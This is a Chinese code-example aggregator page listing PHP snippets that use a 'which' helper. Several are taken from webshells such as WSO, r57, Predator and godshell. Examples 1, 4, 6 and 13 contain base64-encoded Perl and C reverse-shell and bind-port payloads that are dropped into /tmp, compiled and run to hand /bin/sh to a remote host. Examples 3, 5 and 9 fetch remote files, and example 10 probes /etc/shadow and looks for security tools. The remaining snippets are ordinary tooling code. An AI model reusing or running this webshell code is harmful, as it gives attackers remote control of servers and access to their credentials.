• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP which函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中which函数的典型用法代码示例。如果您正苦于以下问题:PHP which函数的具体用法?PHP which怎么用?PHP which使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了which函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: backconnect

function backconnect($ip, $port, $method)
{
    $perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\r\naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\r\nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\r\nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\r\nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\r\nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\r\nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\r\nBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\r\nSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\r\nKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\r\nsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\r\nAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\r\nQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\r\nOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    if ($method == 'Perl') {
        fputs($i = fopen('/tmp/shlbck', 'w'), base64_decode($perl));
        fclose($i);
        ex(which("perl") . " /tmp/shlbck " . $ip . " " . $port . " &");
        unlink("/tmp/shlbck");
        return ex('netstat -an | grep -i listen');
    } elseif ($method == 'C#') {
        fputs($i = fopen('/tmp/shlbck.c', 'w'), base64_decode($c));
        fclose($i);
        ex("gcc shlbck.c -o shlbck");
        unlink('shlbck.c');
        ex("/tmp/shlbck " . $ip . " " . $port . " &");
        unlink("/tmp/shlbck");
        return ex('netstat -an | grep -i listen');
    } else {
        return 'Choose method';
    }
}
开发者ID:Theov,项目名称:webshells,代码行数:22,代码来源:Predator.php


示例2: while

        while (false !== ($file = @readdir($dh))) {
            $f = $dir . '/' . $file;
            if (is_dir($f)) {
                if ($file[0] != ".") {
                    if (fnmatch($pattern, $file)) {
                        $dirs[] = $f;
                    }
                    search($f);
                }
            } elseif (fnmatch($pattern, $file)) {
                $files[] = $f;
            }
        }
        @closedir($dh);
    }
}
if (empty($content)) {
    search($dir);
} else {
    if (empty($case)) {
        $case = "-i";
    } else {
        $case = "";
    }
    exec(which("grep") . " -R {$case} -l " . escapeshellarg($content) . " " . escapeshellarg($dir) . "/" . $pattern, $files);
}
if (empty($dirs) && empty($files)) {
    echo "<i>{$strNotFound}</i>";
}
include "../../fm/showdir.php";
exit;
开发者ID:anboto,项目名称:xtreamer-web-sdk,代码行数:31,代码来源:search.php


示例3: download

function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
开发者ID:ForAEdesWeb,项目名称:AEW4,代码行数:30,代码来源:bsn.php


示例4: actionNetwork

function actionNetwork()
{
    hardHeader();
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Network tools</h1><div class=content>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form><br>";
    if (isset($_POST['p1'])) {
        function cf($f, $t)
        {
            $w = @fopen($f, "w") or @function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                @fclose($w);
            }
        }
        if ($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c", $bind_port_c);
            $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
        }
        if ($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl", $bind_port_p);
            $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
            echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
        }
        if ($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c", $back_connect_c);
            $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
        }
        if ($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl", $back_connect_p);
            $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
        }
    }
    echo '</div>';
    hardFooter();
}
开发者ID:HARDLINUX,项目名称:webshell,代码行数:45,代码来源:WSO.php


示例5: which

            $_POST['cmd'] = which('wget') . " " . $_POST['rem_file'] . " -O " . $_POST['loc_file'] . "";
            break;
        case fetch:
            $_POST['cmd'] = which('fetch') . " -o " . $_POST['loc_file'] . " -p " . $_POST['rem_file'] . "";
            break;
        case lynx:
            $_POST['cmd'] = which('lynx') . " -source " . $_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
            break;
        case links:
            $_POST['cmd'] = which('links') . " -source " . $_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
            break;
        case GET:
            $_POST['cmd'] = which('GET') . " " . $_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
            break;
        case curl:
            $_POST['cmd'] = which('curl') . " " . $_POST['rem_file'] . " -o " . $_POST['loc_file'] . "";
            break;
    }
}
if (!empty($_POST['cmd']) && ($_POST['cmd'] == "ftp_file_up" || $_POST['cmd'] == "ftp_file_down")) {
    list($ftp_server, $ftp_port) = split(":", $_POST['ftp_server_port']);
    if (empty($ftp_port)) {
        $ftp_port = 21;
    }
    $connection = @ftp_connect($ftp_server, $ftp_port, 10);
    if (!$connection) {
        fe($language, 0);
    } else {
        if (!@ftp_login($connection, $_POST['ftp_login'], $_POST['ftp_password'])) {
            fe($language, 1);
        } else {
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:r57.php


示例6: fr

                fr($query);
            }
        }
    }
    tbfoot();
    mysql_close($lnk);
} elseif ($haz == 'bconx') {
    !$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
    !$yourport && ($yourport = '12345');
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $rv_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $rv_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    if ($start && $yourip && $yourport && $use) {
        if ($use == 'perl') {
            sv_file('/tmp/god_bc', @base64_decode($rv_connect));
            $res = mycmd(which('perl') . " /tmp/god_bc {$yourip} {$yourport} &");
        } else {
            sv_file('/tmp/god_bc.c', @base64_decode($rv_connect_c));
            $res = mycmd('gcc -o /tmp/god_bc /tmp/god_bc.c');
            @unlink('/tmp/god_bc.c');
            $res = mycmd("/tmp/god_bc {$yourip} {$yourport} &");
        }
        m("Now script try connect to {$yourip} port {$yourport} ...");
    }
    formhead(array('title' => 'Back Connect'));
    makehide('haz', 'bconx');
    p('<p>');
    p('Your IP:');
    makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
    p('Your Port:');
    makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
开发者ID:huntergregal,项目名称:tools,代码行数:31,代码来源:godshell.php


示例7: session_start

session_start();
if (!$_SESSION['fm_entry']) {
    die('Not a Valid Entry');
}
include_once "../lang/" . $_SESSION['lang'] . ".lang.php";
include_once "../lib/func.php";
include_once "../lib/sysfunc.php";
extract(stripslashes_r($_POST));
if (empty($files)) {
    exit;
}
if (!is_array($files)) {
    $files = array($files);
}
setenvlang();
$com = which("rm");
if ($com) {
    foreach ($files as $f) {
        if (is_dir($f)) {
            exec($com . " -r -f " . escapeshellarg($f) . " 2>&1", $out);
            if (!empty($out)) {
                echo "{$strRmDirFailed} " . hc($f) . "<br>" . hs($out[0]) . "...";
                exit;
            }
        } else {
            exec($com . " -f " . escapeshellarg($f) . " 2>&1", $out);
            if (!empty($out)) {
                echo "{$strDeleteFileError} " . hc($f) . "<br>" . hs($out[0]) . "...";
                exit;
            }
        }
开发者ID:anboto,项目名称:xtreamer-web-sdk,代码行数:31,代码来源:deletefiles.php


示例8: list

}
list($bin, $ok) = which('./cloc.pl');
if ($ok) {
    $clocBin = $bin;
}
$ctagsBin = false;
list($bin, $ok) = which('ctags');
if ($ok) {
    $ctagsVersion = [];
    exec($bin . ' --version', $ctagsVersion);
    if (false !== strpos(implode('', $ctagsVersion), 'Exuberant')) {
        $ctagsBin = $bin;
    }
}
$phpunitBin = false;
list($bin, $ok) = which('vendor/bin/phpunit');
if ($ok) {
    $phpunitBin = $bin;
}
$fmtBin = false;
if (file_exists('fmt.php')) {
    $fmtBin = 'fmt.php';
} elseif (file_exists('vendor/bin/fmt.php')) {
    $fmtBin = 'vendor/bin/fmt.php';
}
$phpdocBin = false;
if (file_exists('vendor/bin/phpdoc.php')) {
    $phpdocBin = 'vendor/bin/phpdoc.php';
}
$execute = function () {
    global $clocBin, $ctagsBin, $phpunitBin, $fmtBin, $phpdocBin, $argv;
开发者ID:Recras,项目名称:php.tools,代码行数:31,代码来源:php.tools.src.php


示例9: shell

                    shell(which('wget') . " " . $_POST['urldown'] . " -O " . $_POST['filename'] . "");
                    break;
                case fetch:
                    shell(which('fetch') . " -o " . $_POST['filename'] . " -p " . $_POST['urldown'] . "");
                    break;
                case lynx:
                    shell(which('lynx') . " -source " . $_POST['urldown'] . " > " . $_POST['filename'] . "");
                    break;
                case links:
                    shell(which('links') . " -source " . $_POST['urldown'] . " > " . $_POST['filename'] . "");
                    break;
                case GET:
                    shell(which('GET') . " " . $_POST['urldown'] . " > " . $_POST['filename'] . "");
                    break;
                case curl:
                    shell(which('curl') . " " . $_POST['urldown'] . " -o " . $_POST['filename'] . "");
                    break;
            }
        }
    }
}
//Brute
if ($action == 'brute') {
    function Brute()
    {
        global $action, $pass_de, $chars_de, $dat, $date;
        ignore_user_abort(1);
    }
    if ($chars_de == "") {
        $chars_de = "";
    }
开发者ID:retanoj,项目名称:webshellSample,代码行数:31,代码来源:9475437496272cbd2e6c2570ca943adf.php


示例10: actionSecInfo

function actionSecInfo()
{
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v)
    {
        $v = trim($v);
        if ($v) {
            echo '<span>' . $n . ': </span>';
            if (strpos($v, "\n") === false) {
                echo $v . '<br>';
            } else {
                echo '<pre class=ml1>' . $v . '</pre>';
            }
        }
    }
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) {
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    }
    showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $temp = array();
    if (function_exists('mysql_get_client_info')) {
        $temp[] = "MySql (" . mysql_get_client_info() . ")";
    }
    if (function_exists('mssql_connect')) {
        $temp[] = "MSSQL";
    }
    if (function_exists('pg_connect')) {
        $temp[] = "PostgreSQL";
    }
    if (function_exists('oci_connect')) {
        $temp[] = "Oracle";
    }
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    if ($GLOBALS['os'] == 'nix') {
        $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
        $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp = array();
            foreach ($userful as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Downloaders', implode(', ', $temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version', ex('ver'));
        showSecParam('Account Settings', ex('net accounts'));
        showSecParam('User Accounts', ex('net user'));
    }
    echo '</div>';
}
开发者ID:yudhaDitya,项目名称:ShellIBT,代码行数:82,代码来源:shellibt.php


示例11: package

<?php

$package = 'nginx';
package($package)->install();
if (!in_array(paper('os.distribution'), ['void'])) {
    var_dump(paper('os.distribution'));
    service($package)->enable()->requires(package($package));
}
$wwwFolder = '/var/local/www/';
$nginxConfig = which(paper('os.distribution'), ["freebsd" => '/usr/local/etc/nginx/nginx.conf', '/etc/nginx/nginx.conf']);
$nginxConfigDef = file($nginxConfig)->contents(file_get_contents(__DIR__ . '/nginx/nginx.conf'))->requires(package($package));
if (!in_array(paper('os.distribution'), ['void'])) {
    $nginxConfigDef->notify(service($package));
}
dir($wwwFolder)->recursive();
file($wwwFolder . 'index.html')->contents('success:order')->requires(package($package))->requires(dir($wwwFolder))->requires(file($nginxConfig));
开发者ID:EaterOfCode,项目名称:Order,代码行数:16,代码来源:nginx.law.php


示例12: detect_install_dirs

function detect_install_dirs($_prefix = null)
{
    global $temp_dir, $prefix, $bin_dir, $php_dir, $php_bin, $doc_dir, $data_dir, $test_dir;
    if (WINDOWS) {
        if ($_prefix === null) {
            $prefix = getcwd();
        } else {
            $prefix = $_prefix;
        }
        if (!@is_dir($prefix)) {
            if (@is_dir('c:\\php5')) {
                $prefix = 'c:\\php5';
            } elseif (@is_dir('c:\\php4')) {
                $prefix = 'c:\\php4';
            } elseif (@is_dir('c:\\php')) {
                $prefix = 'c:\\php';
            }
        }
        $bin_dir = '$prefix';
        $php_dir = '$prefix\\pear';
        $doc_dir = '$php_dir\\docs';
        $data_dir = '$php_dir\\data';
        $test_dir = '$php_dir\\tests';
        $temp_dir = '$prefix\\temp';
        /*
         * Detects php.exe
         */
        if ($t = getenv('PHP_PEAR_PHP_BIN')) {
            $php_bin = $t;
        } elseif ($t = getenv('PHP_BIN')) {
            $php_bin = $t;
        } elseif ($t = which('php')) {
            $php_bin = $t;
        } elseif (is_file($prefix . '\\cli\\php.exe')) {
            $php_bin = $prefix . '\\cli\\php.exe';
        } elseif (is_file($prefix . '\\php.exe')) {
            $php_bin = $prefix . '\\php.exe';
        }
        if ($php_bin && !is_file($php_bin)) {
            $php_bin = '';
        } else {
            if (!ereg(":", $php_bin)) {
                $php_bin = getcwd() . DIRECTORY_SEPARATOR . $php_bin;
            }
        }
        if (!is_file($php_bin)) {
            if (is_file('c:/php/cli/php.exe')) {
                $php_bin = 'c:/php/cli/php.exe';
            } elseif (is_file('c:/php5/php.exe')) {
                $php_bin = 'c:/php5/php.exe';
            } elseif (is_file('c:/php4/cli/php.exe')) {
                $php_bin = 'c:/php4/cli/php.exe';
            }
        }
    } else {
        if ($_prefix === null) {
            #$prefix    = dirname(PHP_BINDIR);
            $prefix = "@PREFIX@";
        } else {
            $prefix = $_prefix;
        }
        $bin_dir = '$prefix/bin';
        #$php_dir   = '$prefix/share/pear';
        $php_dir = '$prefix/lib/php';
        $doc_dir = '$php_dir/doc';
        $data_dir = '$php_dir/data';
        $test_dir = '$php_dir/test';
        $temp_dir = '@WRKSRC@/tmp';
    }
}
开发者ID:spider8,项目名称:pkgsrc,代码行数:70,代码来源:go-pear.php


示例13: m

                 $res = @system(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &");
                 break;
             case 'passthru':
                 $res = @passthru(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &");
                 break;
